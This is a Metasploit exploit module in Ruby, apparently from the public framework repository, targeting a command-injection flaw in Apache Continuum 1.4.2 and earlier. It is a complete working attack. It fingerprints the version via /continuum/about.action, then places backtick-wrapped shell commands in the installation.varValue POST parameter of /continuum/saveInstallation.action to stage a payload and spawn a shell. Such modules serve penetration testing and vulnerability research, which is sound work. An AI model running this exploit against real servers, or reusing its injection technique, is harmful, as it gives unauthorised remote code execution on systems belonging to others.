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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::CmdStager
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Apache Continuum Arbitrary Command Execution',
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      'Description'    => %q{
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        This module exploits a command injection in Apache Continuum <= 1.4.2.
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        By injecting a command into the installation.varValue POST parameter to
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        /continuum/saveInstallation.action, a shell can be spawned.
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      },
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      'Author'         => [
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        'David Shanahan', # Proof of concept
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        'wvu'             # Metasploit module
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      ],
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      'References'     => [
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        %w{EDB 39886}
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      ],
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      'DisclosureDate' => '2016-04-06',
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      'License'        => MSF_LICENSE,
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      'Platform'       => 'linux',
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      'Arch'           => [ARCH_X86, ARCH_X64],
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      'Privileged'     => false,
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      'Targets'        => [
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        ['Apache Continuum <= 1.4.2', {}]
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      ],
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      'DefaultTarget'  => 0
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    ))
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    register_options([
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      Opt::RPORT(8080)
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    ])
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  end
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  def check
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    res = send_request_cgi(
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      'method' => 'GET',
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      'uri'    => '/continuum/about.action'
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    )
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    if res && res.body.include?('1.4.2')
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      CheckCode::Appears
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    elsif res && res.code == 200
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      CheckCode::Detected
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    else
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      CheckCode::Safe
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    end
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  end
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  def exploit
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    print_status('Injecting CmdStager payload...')
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    execute_cmdstager
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  end
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  def execute_command(cmd, opts = {})
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    send_request_cgi(
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      'method'    => 'POST',
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      'uri'       => '/continuum/saveInstallation.action',
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      'vars_post' => {
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        'installation.name'     => Rex::Text.rand_text_alpha(8),
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        'installation.type'     => 'jdk',
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        'installation.varValue' => '`' + cmd + '`'
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      }
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    )
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  end
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end
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